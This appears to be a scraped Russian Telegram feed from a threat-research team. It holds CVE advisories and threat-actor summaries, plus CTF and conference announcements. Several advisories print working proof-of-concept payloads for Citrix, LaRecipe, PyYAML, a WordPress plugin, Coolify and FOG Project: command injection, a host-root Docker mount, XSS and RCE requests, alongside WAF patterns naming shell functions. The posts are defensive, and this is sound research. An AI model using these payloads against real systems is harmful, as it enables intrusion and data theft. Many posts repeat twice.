Критическая уязвимость в Citrix NetScaler ADC and Gateway CVE-2025-5777 😳
CVE-2025-5777, известная как CitrixBleed 2, — это уязвимость утечки памяти во время парсинга некоторых POST-запросов, в частности из-за параметра
🫡 Метрики
🫡 Суть уязвимости
— Уязвимость возникает, когда отправляют POST-запрос c параметром
— В ответе сервера в XML-элементе
— Каждая такая операция может сливать примерно до 127 байт содержимого, что позволяет постепенно получать различные чувствительные данные из памяти.
🫡 Как работает эксплуатация
— Отправляется специально сконструированный POST-запрос на эндпоинт
— В параметрКак раз такая атака на скриншоте.
Первые упоминания о PoC появились около трёх недель назад, но в сети до сих пор находят уязвимые устройства. На сегодня известно о 14 публичных эксплойтах и двух шаблонах для сканера уязвимости😳
🫡 Как защититься
На WAF можно написать правило, которое блокирует
CVE-2025-5777, известная как CitrixBleed 2, — это уязвимость утечки памяти во время парсинга некоторых POST-запросов, в частности из-за параметра
login. Уязвимость затрагивает NetScaler ADC и Gateway в версиях до выхода следующих патчей: 14.1 до 14.1-43.56, 13.1 до 13.1-58.32. В том числе вариации FIPS и NDcPP для версий 13.1 и 12.1.Base core: 9,3
CWE:
CWE-908
CWE-457
CWE-125
— Уязвимость возникает, когда отправляют POST-запрос c параметром
login, но без знака равенства и значения.— В ответе сервера в XML-элементе
<InitialValue> возвращается фрагмент содержимого неинициализированной памяти процесса.— Каждая такая операция может сливать примерно до 127 байт содержимого, что позволяет постепенно получать различные чувствительные данные из памяти.
— Отправляется специально сконструированный POST-запрос на эндпоинт
/p/u/doAuthentication.do без необходимости аутентификации.— В параметр
login передаётся строка без знака равенства и значения, login может передаваться в разном регистре, например, Login. Первые упоминания о PoC появились около трёх недель назад, но в сети до сих пор находят уязвимые устройства. На сегодня известно о 14 публичных эксплойтах и двух шаблонах для сканера уязвимости
Nuclei. Самый свежий эксплойт опубликован четыре дня назад. Настоятельно рекомендуем обновиться На WAF можно написать правило, которое блокирует
POST-запросы на URI /p/u/doAuthentication.do c Body, состоящим только из параметра login в разных регистрах.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8👍5🤔4❤2👾2🤬1🤩1
Proxy Trickster: эксплуатирует инфраструктуру круглосуточно и глобально 👀
Этой весной мы расследовали ИБ-инцидент в компании из IT-сектора. И выяснили, что главная цель атакующих — майнинг криптовалют и proxyjacking. Казалось бы, что интересного в заурядном майнере или инструменте для проксирования трафика?
Оказывается, есть:
🫡 необычные техники уклонения от обнаружения и скрытности;
🫡 построение целой архитектуры в виде скриптов и других приемов автоматизации;
🫡 следы использования утилиты gs-netcat и глобальный характер атаки: мы обнаружили свидетельства взлома нескольких сотен инфраструктур по всему миру.
Группировка активна с 2024 года. Мы назвали её Proxy Trickster и написали подробную статью о её работе. Читайте в блоге!
За срочными новостями о ToolShell забыли рассказать вам о новой группировке, которую мы обнаружили в одном из наших расследований. Исправляемся!
Этой весной мы расследовали ИБ-инцидент в компании из IT-сектора. И выяснили, что главная цель атакующих — майнинг криптовалют и proxyjacking. Казалось бы, что интересного в заурядном майнере или инструменте для проксирования трафика?
Оказывается, есть:
Группировка активна с 2024 года. Мы назвали её Proxy Trickster и написали подробную статью о её работе. Читайте в блоге!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤14🔥6🤔6👍2👾2⚡1😁1🤬1
SSTI на примере CVE-2025-53833
CVE-2025-53833 — критичная уязвимость внедрения шаблонов на стороне сервера в LaRecipe. Уязвимы версии до 2.8.1. Рекомендуем обновиться💣
LaRecipe — это открытый PHP-пакет, чтобы создавать документы в формате сайта. Его обычно используют для технической документации к проектам на Laravel, которые превращают Markdown-файлы в удобный веб-интерфейс с навигацией и поиском.
😬 Кратко о SSTI:
• Приложение использует шаблоны, чтобы генерировать HTML на сервере.
• Шаблонный движок поддерживает вставку переменных и выполнение функций.
• Если ввод пользователя подставляется в шаблон без фильтрации, то возможна инъекция.
• Злоумышленник может выполнить произвольный код на сервере.
В LaRecipe работает следующий механизм:
Сервер обрабатывает данные из URL запроса пользователя ⮕ компилирует
Если конкретнее, он формирует дополнительные ссылки на документы. Например:
👁 Пользователь ввел:
👁 Сервер вернул HTML :
😬 Суть уязвимости CVE-2025-53833:
При вводе пользователем собственного шаблона, например {{test}}, сервер вернет ошибку 500 с подобным логом:
Участок кода HasBladeParser.php(25):
Ошибка возникает при компиляции PHP-кода, так как переменная test не определена. Но если мы сами определим ее в шаблоне
Данная ошибка показывает, что компиляция происходит в функции
💡 Важное уточнение: полезная нагрузка может передаваться не только в качестве параметра, но и в качестве его значения. Если полезную нагрузку ввести в качестве пути, сервер вернет 404.
😬 Ка защититься:
На WAF можно написать правило, которое блокирует запросы с таким содержимым:
• названия переменных содержат конструкцию
• в значениях переменных также содержится
CVE-2025-53833 — критичная уязвимость внедрения шаблонов на стороне сервера в LaRecipe. Уязвимы версии до 2.8.1. Рекомендуем обновиться
LaRecipe — это
Метрики
Base Core: 10
CWE: CWE-1336
• Приложение использует шаблоны, чтобы генерировать HTML на сервере.
• Шаблонный движок поддерживает вставку переменных и выполнение функций.
• Если ввод пользователя подставляется в шаблон без фильтрации, то возможна инъекция.
• Злоумышленник может выполнить произвольный код на сервере.
В LaRecipe работает следующий механизм:
Сервер обрабатывает данные из URL запроса пользователя ⮕ компилирует
PHP-код ⮕ подставляет полученный результат в HTML разметку. Если конкретнее, он формирует дополнительные ссылки на документы. Например:
http:/target/?test=test <a href="/user-manual/1.0?test=test#introduction">Introduction</a>При вводе пользователем собственного шаблона, например {{test}}, сервер вернет ошибку 500 с подобным логом:
Error: Undefined constant "test" in …/larecipe/src/Traits/HasBladeParser.php(25) : eval()'d code:4
Участок кода HasBladeParser.php(25):
try {
eval('?'.'>'.$content);
}Ошибка возникает при компиляции PHP-кода, так как переменная test не определена. Но если мы сами определим ее в шаблоне
http:/target/?{{$test=’LOL’}} — ошибки не будет, мы получит верно сгенерированный HTML. Важно, что в качестве параметра URL HTML блока, будет находится значение, которое определено нашей переменной — LOL. <a href="/user-manual/1.0?lol#introduction">Introduction</a>
Данная ошибка показывает, что компиляция происходит в функции
eval() и значения на сервере никак не валидируются. Значит, мы можем вызвать уже определенную функцию system() и выполнить RCE. Пример — на скриншоте. На WAF можно написать правило, которое блокирует запросы с таким содержимым:
• названия переменных содержат конструкцию
{{.*?}};• в значениях переменных также содержится
{{.*?}}. Чтобы избежать ложных сработок, например на json, включите в этот блок различные PHP-функции и операторы {{.*?(system|shell|exec|shell_exec|...|phpinfo\(\)...).*?}}.Please open Telegram to view this post
VIEW IN TELEGRAM
❤16🔥7👌4🤔3⚡1🤬1
Десериализация ненадежных данных
👀 Делимся небольшой «лабораторной работой», которую можно повторить самостоятельно. Она касается уязвимости «Десериализация ненадежных данных» (CWE-502). Эта уязвимость в некоторых случаях может приводить к удаленному выполнению кода (
В библиотеке
😬 «Лабораторная работа» основана на недавно найденной уязвимости CVE-2025–50460 в проекте ms-swift.
😬 Метрики
😬 Код и необходимые компоненты
1) Установить flask любой версии.
2) Установить PyYAML версии <=5.3.
3) Скопировать, вставить и запустить код.
😬 Полезная нагрузка
— Cоздайте Yaml файл с произвольным названием.
— Замените <RCE> на любой shell код.
Внутри этой строки вызывается
В итоге выполняется системная команда <RCE>. В нашем примере выполнялся запрос curl.
😬 Как защищаться
1) Обновите
2) Для более старых
3) Ограничивайте возможность загрузки yaml для сторонних пользователей.
RCE).В библиотеке
PyYAML существует задокументированное поведение, которое позволяет исполнять произвольный Python-код. До версии 5.4 это поведение вызывается не совсем явным образом, через yaml.load(), который по умолчанию разрешает исполнение Python-скриптов. В более новых версиях PyYAML поведение вызывается более явно — через yaml.unsafe_load(). Если сторонний пользователь может контролировать файлы, загружаемые в yaml.load() в версиях PyYAML >=5.4, то это открывает возможность для RCE атаки.Base Score: 9,9
CWE: CWE-502
1) Установить flask любой версии.
2) Установить PyYAML версии <=5.3.
3) Скопировать, вставить и запустить код.
from flask import Flask, request, render_template_string
import yaml
app = Flask(__name__)
HTML = '''
<!doctype html>
<form action="/" method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Загрузить>
</form>
<pre>{{ result }}</pre>
'''
@app.route("/", methods=["GET", "POST"])
def upload():
result = ""
if request.method == "POST":
file = request.files.get("file")
if file:
try:
data = yaml.load(file.read(), Loader=yaml.FullLoader)
result = f"Загружено: {data}"
except Exception as e:
result = f"Ошибка: {e}"
return render_template_string(HTML, result=result)
if __name__ == "__main__":
app.run(debug=True)
— Cоздайте Yaml файл с произвольным названием.
— Замените <RCE> на любой shell код.
!!python/object/new:type
args: ["z",!!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('<RCE>')"
type(...) динамически создаёт новый класс zz() создаёт экземпляр этого классаobj.extend(...) вызывает exec(...), передавая туда строкуВнутри этой строки вызывается
os.system("<RCE>")В итоге выполняется системная команда <RCE>. В нашем примере выполнялся запрос curl.
1) Обновите
PyYAML.2) Для более старых
PyYAML используйте yaml.safe_load().3) Ограничивайте возможность загрузки yaml для сторонних пользователей.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16❤12👌4🤯3👏2⚡1😁1🤬1👾1
CFP: Подавайтесь на SOC Forum 2025! ✅
Всем привет! Call for Papers на техно-стрим SOC Forum 2025 открыт!
Темы:
😬 Offense: актуальные техники атак, этичный хакинг, выявление уязвимостей, новые инструменты и наступательные подходы.
😬 Defense: актуальные технологии защиты, обнаружение и реагирование на угрозы, кейсы реальных атак и их разбор, анализ APT-группировок и их инструментов (DFIR, MA, TI, TH, SOC, VM).
😬 Архитектура ИТ и ИБ: построение безопасных систем.
😬 SOC-практикум: для тех, кто хочет обменяться опытом, лайфхаками и рабочими методиками.
Тайминг: до 30 минут.
Дата и время: 19–20 ноября, «Тимирязев Центр».
Кстати, все выступающие получат +1 билет.
В этом году мы намереваемся сделать технический стрим SOC Forum еще более экспертным и полезным. Присоединяйтесь!
Чтобы подать заявку, выберите трек, зайдите в личный кабинет или зарегистрируйтесь на сайте. Заполните все поля заявки и отправьте ее. Как обычно: чем детальнее описание, тем выше шанс выступить.
⏰ Доклады принимаются по 14 сентября включительно.
Стать спикером
Всем привет! Call for Papers на техно-стрим SOC Forum 2025 открыт!
Темы:
Тайминг: до 30 минут.
Дата и время: 19–20 ноября, «Тимирязев Центр».
Кстати, все выступающие получат +1 билет.
В этом году мы намереваемся сделать технический стрим SOC Forum еще более экспертным и полезным. Присоединяйтесь!
Чтобы подать заявку, выберите трек, зайдите в личный кабинет или зарегистрируйтесь на сайте. Заполните все поля заявки и отправьте ее. Как обычно: чем детальнее описание, тем выше шанс выступить.
Стать спикером
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🔥7👍4🥰1
Gorilla: взлет и падение нового банковского трояна
Весной 2025-го в Telegram начали продавать новый банковский троян Gorilla. Многофункциональный, написанный на Kotlin, с интеграцией в Telegram, управлением устройствами и «заточкой» под банковские приложения.
Поначалу всё шло по плану — десятки активных C2, регулярные обновления, коммерческая модель. Но к августу — полная тишина: управляющие сервера не отвечают, Telegram-канал замолчал, а в чате заговорили о проблемах у разработчика.
В статье мы:
😬 разбираем архитектуру Gorilla Panel, написанную на Django (и почему DEBUG стал слабым местом);
😬 анализируем сетевую инфраструктуру и эндпоинты;
😬 рассказываем, как троян «ушёл со сцены» (так же быстро, как появился).
Читать в блоге
Весной 2025-го в Telegram начали продавать новый банковский троян Gorilla. Многофункциональный, написанный на Kotlin, с интеграцией в Telegram, управлением устройствами и «заточкой» под банковские приложения.
Поначалу всё шло по плану — десятки активных C2, регулярные обновления, коммерческая модель. Но к августу — полная тишина: управляющие сервера не отвечают, Telegram-канал замолчал, а в чате заговорили о проблемах у разработчика.
В статье мы:
Читать в блоге
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤5👾4👎2
Увидимся на OffZone 2025!
Уже завтра стартует конференция OffZone 2025. Мы в ней участвуем — рассказываем заранее, что приготовили.
🫡 Экскурсия в командный центр Shedding Zmiy
Однажды мы наткнулись на странную веб-панель, а когда пригляделись, поняли, что это целый «командный центр», через которую группировка Shedding Zmiy (и, возможно, некоторые другие группировки) координируют свои атаки на российские организации. В нашем выступлении расскажем:
— как устроена техническая «кухня» злоумышленников;
— с помощью чего они планируют и развивают свои атаки на российские организации и почему иногда такие атаки могут произойти «по клику мыши»;
— как корпоративный подход к организации атак помогает злоумышленникам структурировать свою деятельность.
Приходите 22 августа, в 13:30 в Threat Zone!
🫡 Стенд Solar
Ищите нас на крыше, напротив фото-поинта — на карте это стенд № 11. На стенде проведем розыгрыш призов через лототрон и организуем челленджи. Целых два.
🫡 4RAYS FlagHunt
Подготовили для вас пачку тасков в нашем CTF по реверсу, вебу и форензике. Задания есть разные: и те, что решаются за полчаса, и те над которыми придется попотеть — простым промптом для LLM не отделаться👀
🫡 «Полный Offense» by DSec
Если чувствуете себя в настроении поиграть за команду «красных», то попробуйте свои силы в челлендже «Полный Offense», который готовят наши коллеги из DSec. Просто не будет!
ЗА ВСЕ ПЛАТИМ МЕРЧОМ И\ИЛИ ЗВОНКИМ ОФФКОИНОМ!
Встречаемся на выступлении и на стенде. Он, кстати,с пасхалкой.
Уже завтра стартует конференция OffZone 2025. Мы в ней участвуем — рассказываем заранее, что приготовили.
Однажды мы наткнулись на странную веб-панель, а когда пригляделись, поняли, что это целый «командный центр», через которую группировка Shedding Zmiy (и, возможно, некоторые другие группировки) координируют свои атаки на российские организации. В нашем выступлении расскажем:
— как устроена техническая «кухня» злоумышленников;
— с помощью чего они планируют и развивают свои атаки на российские организации и почему иногда такие атаки могут произойти «по клику мыши»;
— как корпоративный подход к организации атак помогает злоумышленникам структурировать свою деятельность.
Приходите 22 августа, в 13:30 в Threat Zone!
Ищите нас на крыше, напротив фото-поинта — на карте это стенд № 11. На стенде проведем розыгрыш призов через лототрон и организуем челленджи. Целых два.
Подготовили для вас пачку тасков в нашем CTF по реверсу, вебу и форензике. Задания есть разные: и те, что решаются за полчаса, и те над которыми придется попотеть — простым промптом для LLM не отделаться
Если чувствуете себя в настроении поиграть за команду «красных», то попробуйте свои силы в челлендже «Полный Offense», который готовят наши коллеги из DSec. Просто не будет!
ЗА ВСЕ ПЛАТИМ МЕРЧОМ И\ИЛИ ЗВОНКИМ ОФФКОИНОМ!
Встречаемся на выступлении и на стенде. Он, кстати,
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤10👌3🤩1👾1
Хранимая RCE 👀
CVE-2025-8723 — уязвимость удаленного выполнения произвольного кода в плагине Cloudflare Image Resizing для WordPress, которая возникает из-за отсутствия аутентификации и недостаточной очистки в методе
😬 Метрики
Настоятельно рекомендуем обновиться.
😬 Подробнее
Уязвимость позволяет менять кодовою базу конфигурационного файла config.php. Другими словами, эту уязвимость можно назвать хранимой RCE. В файле существует такой код, который получает данные из параметра
$config_file — это
Если отправим запрос такого вида,
то получим следующие изменения в конфигурационном файле:
Важно отметить, что
Введённый код напрямую добавляется в файлы плагина и позволяет атакующему выполнять внедрённые команды при каждом запросе к сайту без необходимости ввода
Уточнение: при посещении страницы все активные плагины автоматически загружаются, и будет выполнен любой код в их главных файлах или подключаемых конфигурациях.
😬 Как защититься
На WAF можно написать правило, которое отслеживает передачу функций system, exec, shell_exec, eval в параметрах
CVE-2025-8723 — уязвимость удаленного выполнения произвольного кода в плагине Cloudflare Image Resizing для WordPress, которая возникает из-за отсутствия аутентификации и недостаточной очистки в методе
hook_rest_pre_dispatch(). Уязвимы версии до 1.5.6. Base Score: 9.8 CRITICAL
CWE: CWE-94
Настоятельно рекомендуем обновиться.
Уязвимость позволяет менять кодовою базу конфигурационного файла config.php. Другими словами, эту уязвимость можно назвать хранимой RCE. В файле существует такой код, который получает данные из параметра
cf_image_resizing_format и вставляет их в $config_file.$format = @isset($request['cf_image_resizing_format']) ? $request['cf_image_resizing_format'] : null;
if (null !== $format)
{
$file_content = file_get_contents($config_file);
$file_content = preg_replace("/(define\(\'CF_IMAGE_RESIZING_FORMAT\'\,\s\')(.*)(\'\)\;)/", "$1$format$3", $file_content);
file_put_contents($config_file, $file_content);
}
$config_file — это
config.php.$config_file = WP_PLUGIN_DIR.'/cf-image-resizing/config.php'
Если отправим запрос такого вида,
POST /wp-json/wp/v2/settings/ HTTP/1.1
Host: 192.168.177.165
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/89.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 52
{"cf_image_resizing_format":"'); system('id'); /*" }
то получим следующие изменения в конфигурационном файле:
// Recommended: 'auto'
define('CF_IMAGE_RESIZING_FORMAT', ''); system('id'); /*');
Важно отметить, что
cf_image_resizing_format — не единственный уязвимый параметр. Еще есть, например, cf_image_resizing_fit. Более подробно с ними можно ознакомиться, скачав плагин и открыв config.php.Введённый код напрямую добавляется в файлы плагина и позволяет атакующему выполнять внедрённые команды при каждом запросе к сайту без необходимости ввода
shell-команд. Например, если в кодовую базу плагина попадёт такая строка, файл Hi.html будет создаваться или перезаписываться при каждом посещении сайта. Любой посетитель триггерит выполнение команды.{"cf_image_resizing_format":"'); system('echo \"<h1>Привет<h1>\" > Hi.html'); /*" }На WAF можно написать правило, которое отслеживает передачу функций system, exec, shell_exec, eval в параметрах
cf_image_resizing_fit, cf_image_resizing_format на конечную точку /wp-json/wp/v2/settings/.Please open Telegram to view this post
VIEW IN TELEGRAM
✍6🔥6👀4❤3👍1😁1
Новый инструментарий Fairy Trickster и вероятная связь с Lifting Zmiy
За последнее время вышло много исследований по группировке Fairy Trickster (PhantomCore, Rainbow Hyena, Head Mare) от наших коллег:
😬 «Rainbow Hyena снова атакует: новый бэкдор и смена тактик» от BI.ZONE
😬 «Атрибуция Exchange-кейлоггеров к группировке PhantomCore» от Positive Technologies
😬 «Масштабная кампания кибершпионажа и возможный раскол APT-группировки PhantomCore» от PT
Мы тоже наблюдали аналогичную фишинговую кампанию против наших заказчиков, поэтому хотим поделиться нашей частью уникальной информации про эту группировку.
1️⃣ Помимо описанных коллегами утилит, Fairy Trickster также применяют обратный Socks5 прокси-сервер
2️⃣ На этапе постэксплуатации применялась обфусцированная известная отечественная powershell-утилита
3️⃣ Злоумышленники через
4️⃣ Обфускация упомянутых утилит очень похожа на обфускацию новых версий
Подробнее по пунктам читайте в статье.
За последнее время вышло много исследований по группировке Fairy Trickster (PhantomCore, Rainbow Hyena, Head Mare) от наших коллег:
Мы тоже наблюдали аналогичную фишинговую кампанию против наших заказчиков, поэтому хотим поделиться нашей частью уникальной информации про эту группировку.
tsocks и кастомный .NET бэкдор, который предоставляет обратную оболочку и реализует несколько команд.T1ck3tDump для дампа билетов Kerberos с измененными данными об авторстве.PhantomRemote загрузили новую версию PhantomTaskShell, обфусцированную тем же инструментом, что и утилита T1ck3tDump. BrockenDoor группировки Lifting Zmiy (BO_TEAM, Hoody Hyena). Это позволяет предположить, что группировки могут делиться инструментами. В этом случае обфускатором.Подробнее по пунктам читайте в статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤7👀4👍1
Приходите на наш практикум по Sigma-правилам 3-го сентября
Если вы SOC-аналитик, занимаетесь Threat Hunting или DFIR, то у нас для вас новости: 3-го сентябряперевернем календарь и проведем онлайн-практикум по созданию крутых Sigma-правил.
Расскажем:
👍 как правильно написанные Sigma позволяют снизить число ложных срабатываний;
👍 что такое Detection as a Code и как он помогает готовить эффективные Sigma-правила;
👍 как применять Sigma-правила в реальных кейсах.
Умеете писать четкие Sigma-правила? Приходите и проверьте у нас на вебинаре!
Когда: 3 сентября, 12:00 МСК.
Как попасть: зарегистрироваться по ссылке
Если вы SOC-аналитик, занимаетесь Threat Hunting или DFIR, то у нас для вас новости: 3-го сентября
Расскажем:
Умеете писать четкие Sigma-правила? Приходите и проверьте у нас на вебинаре!
Когда: 3 сентября, 12:00 МСК.
Как попасть: зарегистрироваться по ссылке
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9🔥7👍4👎1😁1
Solar 4RAYS FlagHunt: продолжайте охоту
На отгремевшем OFFZONE 2025 мы на нашем стенде проводили CTF. Судя по реакции, наши таски вам понравились: соревновались 200 участников! Кроме того, нас неоднократно просили оставить возможность решать задания после конференции.❤️
Услышали, оставляем!
Если у вас есть желание попробовать свои силы в решении задач по реверсу, вебу и форензике, приходите на наш сервер и продолжайте охоту. Задания доступны до 2 сентября включительно, а после опубликуем в блоге подробный разбор каждого из них.
Удачи в решении✅
На отгремевшем OFFZONE 2025 мы на нашем стенде проводили CTF. Судя по реакции, наши таски вам понравились: соревновались 200 участников! Кроме того, нас неоднократно просили оставить возможность решать задания после конференции.
Услышали, оставляем!
Если у вас есть желание попробовать свои силы в решении задач по реверсу, вебу и форензике, приходите на наш сервер и продолжайте охоту. Задания доступны до 2 сентября включительно, а после опубликуем в блоге подробный разбор каждого из них.
Удачи в решении
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤6👍6
RCE RCE XSS В Coolify
В публичном доступе опубликованы три отчета PoC об уязвимостях в
💣 CVE-2025–34159 — платформа позволяет аутентифицированным пользователям с минимальными правами внедрять произвольные директивы
💣 CVE-2025–34161 — платформа позволяет аутентифицированным пользователям с ролью «Участник» выполнять произвольные команды-оболочки через поле Git Repository при создании проекта.
💣 CVE-2025–34157 — платформа уязвима к атаке с использованием хранимого межсайтового скриптинга (XSS) в процессе удаления проекта.
Для всех атак необходима аутентификация, что немного смягчает ее воздействие.
😬 Как эксплуатируется CVE-2025–34159
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Docker Compose Empty - > создать Docker Compose с подобным содержимым - > запустить деплой (Deploy)
▪️ /:/host:rw — монтирует root файловой системы хоста (/) в контейнер по пути /host;
▪️ echo 'LOL RCE' > /host/tmp/proof_rce.txt — создаст файл proof_rce.txt в директории /host/tmp/ контейнера, и этот тот же самый файл в директории /tmp/ на хосте.
😬 Как эксплуатируется CVE-2025–34161
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Private Repository (with GitHub App) - > В поле HTML Url ввести
😬 Как эксплуатируется CVE-2025–34157
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> задать имя(Name), например
В качестве примера на рисунке показана CVE-2025–34159 (Скриншот 1) и CVE-2025–34157 (Скриншот 2).
😬 Как защищаться
CVE-2025–34159 — можно написать правило, которое будет блокировать запросы на конечную точку
CVE-2025–34161 — это поведение потенциально допустимо для пользователей с высокими правами. Поэтому правило на передачу
CVE-2025–34157 — большинство современных WAF имеют большой набор сигнатур по выявлению XSS. Но также можно написать правило, опираясь на позитивную модель. Так как речь идет об имени проекта то блокировать передачу
В публичном доступе опубликованы три отчета PoC об уязвимостях в
coolLabs. Все три уязвимости имеют критический уровень опасности, уязвимы версии до 4.0.0-beta.420.7.Docker Compose при создании проекта. Злоумышленник создает вредоносную службу, которая монтирует корневую файловую систему хоста, и получает полный доступ с правами root к серверу.Для всех атак необходима аутентификация, что немного смягчает ее воздействие.
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Docker Compose Empty - > создать Docker Compose с подобным содержимым - > запустить деплой (Deploy)
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo 'LOL RCE' > /host/tmp/proof_rce.txt
"
▪️ /:/host:rw — монтирует root файловой системы хоста (/) в контейнер по пути /host;
▪️ echo 'LOL RCE' > /host/tmp/proof_rce.txt — создаст файл proof_rce.txt в директории /host/tmp/ контейнера, и этот тот же самый файл в директории /tmp/ на хосте.
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Private Repository (with GitHub App) - > В поле HTML Url ввести
https://github.com/XXX/XXXX.git; ls #; - > выбрать созданный ресурс - > запустить деплой (Deploy) Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> задать имя(Name), например
<img src = "x" onerror = alert("XSS ")>
При удалении такого проекта администратор или владелец получит выполнение XSS. При удалении XSS скрипт попадает в окно вывода ошибки. В качестве примера на рисунке показана CVE-2025–34159 (Скриншот 1) и CVE-2025–34157 (Скриншот 2).
CVE-2025–34159 — можно написать правило, которое будет блокировать запросы на конечную точку
/livewire/update, если в параметре JSON updates передаются спец символы, например: ; | && < > ` { }"updates":{"github_app.html_url":"https://github.com:fake/repo.git; ls -la #;"}CVE-2025–34161 — это поведение потенциально допустимо для пользователей с высокими правами. Поэтому правило на передачу
command может привести к ложным сработкам. Рекомендуем обновиться или ограничить как передачу команд, так и монтирование директорий для всех пользователей.CVE-2025–34157 — большинство современных WAF имеют большой набор сигнатур по выявлению XSS. Но также можно написать правило, опираясь на позитивную модель. Так как речь идет об имени проекта то блокировать передачу
; | & < > ` { } , - = + Конечная точка - /livewire/update, Json параметр:"updates":{"name":"<img src = \"x\" onerror = alert(\"RCE!\")>","denoscription":"<img src = \"x\" onerror = alert(\"RCE!\")>"}Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍6❤5⚡2❤🔥1
Solar 4RAYS FlagHunt: опубликовали разборы заданий 😬
Недавно рассказывали про наш CTF Solar 4RAYS FlagHunt, который готовили для OFFZONE. Теперь публикуем подробный разбор всех 11 тасков. Если решали, но не решили, то читайте в нашем блоге подробности.
Недавно рассказывали про наш CTF Solar 4RAYS FlagHunt, который готовили для OFFZONE. Теперь публикуем подробный разбор всех 11 тасков. Если решали, но не решили, то читайте в нашем блоге подробности.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9⚡5❤3👍3
Одна уязвимость три проблемы — CVE-2025-58443
CVE-2025–58443 — это уязвимость обхода авторизации в FOG Project. Версии 1.5.10.1673 и ниже уязвимы.
😬 Метрики
Злоумышленник может:
1️⃣ выполнить неаутентифицированный дамп базы данных;
2️⃣ листинг директорий;
3️⃣ выполнить SSRF-атаку, а также Open redirection.
😬 Подробнее
Уязвимость заключается в том, что при обращении к конечным точкам не проверяется авторизация. POST запрос на данную конечную точку
Дополнение: данный URI так же уязвим к RCE в версии ≤ 1.5.10.34. RCE передается через аналогичный POST запрос на
☀️ GET запрос на
☀️ GET запрос на
Сейчас известно только о трех уязвимых точках. Процесс эксплуатации — на скриншоте.
😬 Как защищаться
1) Обновиться.
2) Закрыть доступ к
CVE-2025–58443 — это уязвимость обхода авторизации в FOG Project. Версии 1.5.10.1673 и ниже уязвимы.
Base Core: 9.9
CWE: CWE-306 CWE-287
Злоумышленник может:
Уязвимость заключается в том, что при обращении к конечным точкам не проверяется авторизация. POST запрос на данную конечную точку
/fog/management/export.php приведет к извлечению базы.POST /fog/management/export.php HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
fogguiuser=&fogguipass=&nojson=4&export=3
Дополнение: данный URI так же уязвим к RCE в версии ≤ 1.5.10.34. RCE передается через аналогичный POST запрос на
/fog/management/export.php?filename=$(id)&type=pdf./fog/service/getversion.php?url=<PATH> вызовет SSRF./fog/status/getfiles.php?path=<DIR> вызовет листинг каталога. Сейчас известно только о трех уязвимых точках. Процесс эксплуатации — на скриншоте.
1) Обновиться.
2) Закрыть доступ к
/fog/service/, /fog/status/, /fog/management/ для внешних IP, например, правилами на WAF/IDS.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍3❤2🤔1
Приходите нас послушать на VolgaCTF
До 19 сентября в Самаре идет VolgaCTF — ежегодные международные соревнования по информационной безопасности. В программе конференции есть доклад от Solar 4RAYS — «Байки Blue Team: как атакуют профессионалы (и не только)». Об этом расскажут:
✅ Денис Чернов, инженер группы расследований инцидентов;
✅ Дмитрий Маричев, аналитик группы анализа вредоносного ПО в Solar 4RAYS.
Приходите 17 сентября в 12:30 в отель «Лотте». Ответим на все вопросы😀
До 19 сентября в Самаре идет VolgaCTF — ежегодные международные соревнования по информационной безопасности. В программе конференции есть доклад от Solar 4RAYS — «Байки Blue Team: как атакуют профессионалы (и не только)». Об этом расскажут:
Приходите 17 сентября в 12:30 в отель «Лотте». Ответим на все вопросы
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14❤13👌7
NGC6061: серия фишинговых атак на госсектор
С сентября 2024 года и по текущий момент наблюдаем серию фишинговых рассылок на российские организации из госсектора. Эту кампанию мы причисляем к деятельности пока еще неизвестного киберпреступного кластера NGC6061.
1️⃣ Для обхода защиты злоумышленники используют запароленные архивы.
2️⃣ Атака начинается с self-extracting LNK-файлов, запускающих powershell-скрипты для декодирования вредоносных компонентов.
3️⃣ В качестве приманок используют документы со встроенным механизмом профилирования целей.
4️⃣ Конечная нагрузка может быть в виде Reverse Shell или Metasploit TCP Reverse.
Подробное описание фишинговых писем и индикаторы компрометации ищите в статье.
С сентября 2024 года и по текущий момент наблюдаем серию фишинговых рассылок на российские организации из госсектора. Эту кампанию мы причисляем к деятельности пока еще неизвестного киберпреступного кластера NGC6061.
Подробное описание фишинговых писем и индикаторы компрометации ищите в статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12🤔6👍4👾2
Археология и Threat Intelligence
Киберразведка иногда напоминает археологию, потому что помогает обнаружить уникальные артефакты не в новых инцидентах, а в прошлом. Подобные флешбэки в некоторых случаях помогают выявить неожиданные связи между инцидентами, которые раньше не были связаны. Или позволяют найти старые инструменты, которые до сих пор могут использовать в атаках. Сегодня мы делимся примером таких раскопок.
